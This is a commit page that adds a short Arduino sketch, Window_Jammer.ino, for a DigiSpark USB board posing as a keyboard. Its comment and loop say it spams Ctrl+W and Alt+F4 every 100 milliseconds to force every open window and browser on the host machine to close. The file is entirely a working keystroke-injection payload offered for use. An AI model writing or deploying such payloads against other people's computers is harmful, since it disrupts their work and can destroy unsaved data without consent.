Create Window_Jammer.ino
This commit is contained in:
parent
d8134b5ea7
commit
b88f12bf46
|
@ -0,0 +1,13 @@
|
||||||
|
// A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close
|
||||||
|
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
void setup() {
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(0);
|
||||||
|
DigiKeyboard.delay(100);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT);
|
||||||
|
DigiKeyboard.delay(100);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
|
||||||
|
}
|
Loading…
Reference in New Issue